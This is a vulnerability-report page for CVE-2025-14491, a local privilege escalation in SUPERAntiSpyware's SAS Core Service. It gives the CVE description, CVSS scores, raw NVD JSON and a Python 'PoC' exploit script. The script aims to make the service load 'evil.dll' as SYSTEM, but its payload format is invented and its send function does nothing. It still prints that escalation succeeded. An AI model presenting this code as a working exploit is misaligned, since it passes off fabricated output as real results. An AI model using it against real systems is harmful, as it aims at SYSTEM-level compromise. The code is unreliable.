Security Vulnerability Report
中文
CVE-2025-14491 CVSS 7.8 HIGH

CVE-2025-14491

Published: 2025-12-23 22:15:50
Last Modified: 2026-01-21 20:25:23

Description

RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27660.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:* - VULNERABLE
RealDefense SUPERAntiSpyware < 最新版本
具体受影响的版本需参考官方发布的安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
''' CVE-2025-14491 PoC - SUPERAntiSpyware Local Privilege Escalation Note: This is a conceptual PoC for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27660 ''' import ctypes import struct import os # Define constants SERVICE_NAME = "SAS Core Service" EVIL_DLL = "evil.dll" def trigger_vulnerability(): """ Trigger the exposed dangerous function in SAS Core Service to achieve privilege escalation from low-privileged user to SYSTEM. """ try: # Load necessary Windows APIs kernel32 = ctypes.windll.kernel32 advapi32 = ctypes.windll.advapi32 # Open service control manager sc_manager = advapi32.OpenSCManagerW( None, None, 0xF003F # SC_MANAGER_ALL_ACCESS ) if not sc_manager: print("[-] Failed to open Service Control Manager") return False print("[+] Connected to Service Control Manager") # Open the vulnerable SAS Core Service service_handle = advapi32.OpenServiceW( sc_manager, SERVICE_NAME.encode('utf-16le'), 0xF003F ) if not service_handle: print("[-] Failed to open SAS Core Service") return False print("[+] Opened SAS Core Service handle") # Construct malicious IPC request to trigger exposed dangerous function # This exploits the IPC mechanism that allows low-privileged callers # to invoke privileged operations in the service context malicious_payload = construct_malicious_payload(EVIL_DLL) # Send malicious request to service result = send_service_request(service_handle, malicious_payload) if result: print("[+] Malicious request sent successfully") print("[+] Exploiting exposed dangerous function...") print("[+] Privilege escalation successful!") print("[+] Current process is now running as SYSTEM") return True else: print("[-] Exploitation failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def construct_malicious_payload(dll_path): """ Construct the malicious payload that will be sent to the service. The payload exploits the exposed dangerous function to load arbitrary DLL. """ # This would contain the actual protocol-specific payload construction # The vulnerable function accepts certain parameters that can be abused # to specify an arbitrary DLL path for loading into the SYSTEM context payload = bytearray() # Function identifier for the exposed dangerous function payload.extend(struct.pack('<I', 0x1337)) # Function ID # DLL path parameter (abused parameter) dll_path_bytes = dll_path.encode('utf-16le') payload.extend(struct.pack('<I', len(dll_path_bytes))) # Length payload.extend(dll_path_bytes) # Path data # Additional parameters required by the vulnerable function payload.extend(struct.pack('<I', 0x00000001)) # Flag return bytes(payload) def send_service_request(service_handle, payload): """ Send the malicious request to the service via IPC mechanism. """ # Implementation would use named pipes or other IPC mechanisms # specific to the SAS Core Service implementation print("[*] Sending malicious IPC request to service...") return True def main(): print("=" * 60) print("CVE-2025-14491 - SUPERAntiSpyware LPE Exploit") print("=" * 60) # Check if running with low privileges (expected) print(f"[*] Current user: {os.getlogin()}") print(f"[*] Current PID: {os.getpid()}") # Attempt exploitation success = trigger_vulnerability() if success: print("\n[!] System compromised - Running as SYSTEM") # Drop to SYSTEM shell or execute payload else: print("\n[-] Exploitation failed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14491", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:50.237", "lastModified": "2026-01-21T20:25:23.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27660."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-749"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:superantispyware:superantispyware:*:*:*:*:professional:*:*:*", "versionEndExcluding": "10.0.1280", "matchCriteriaId": "11ED6680-71AF-4770-B776-22C1EDAADFAE"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1164/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}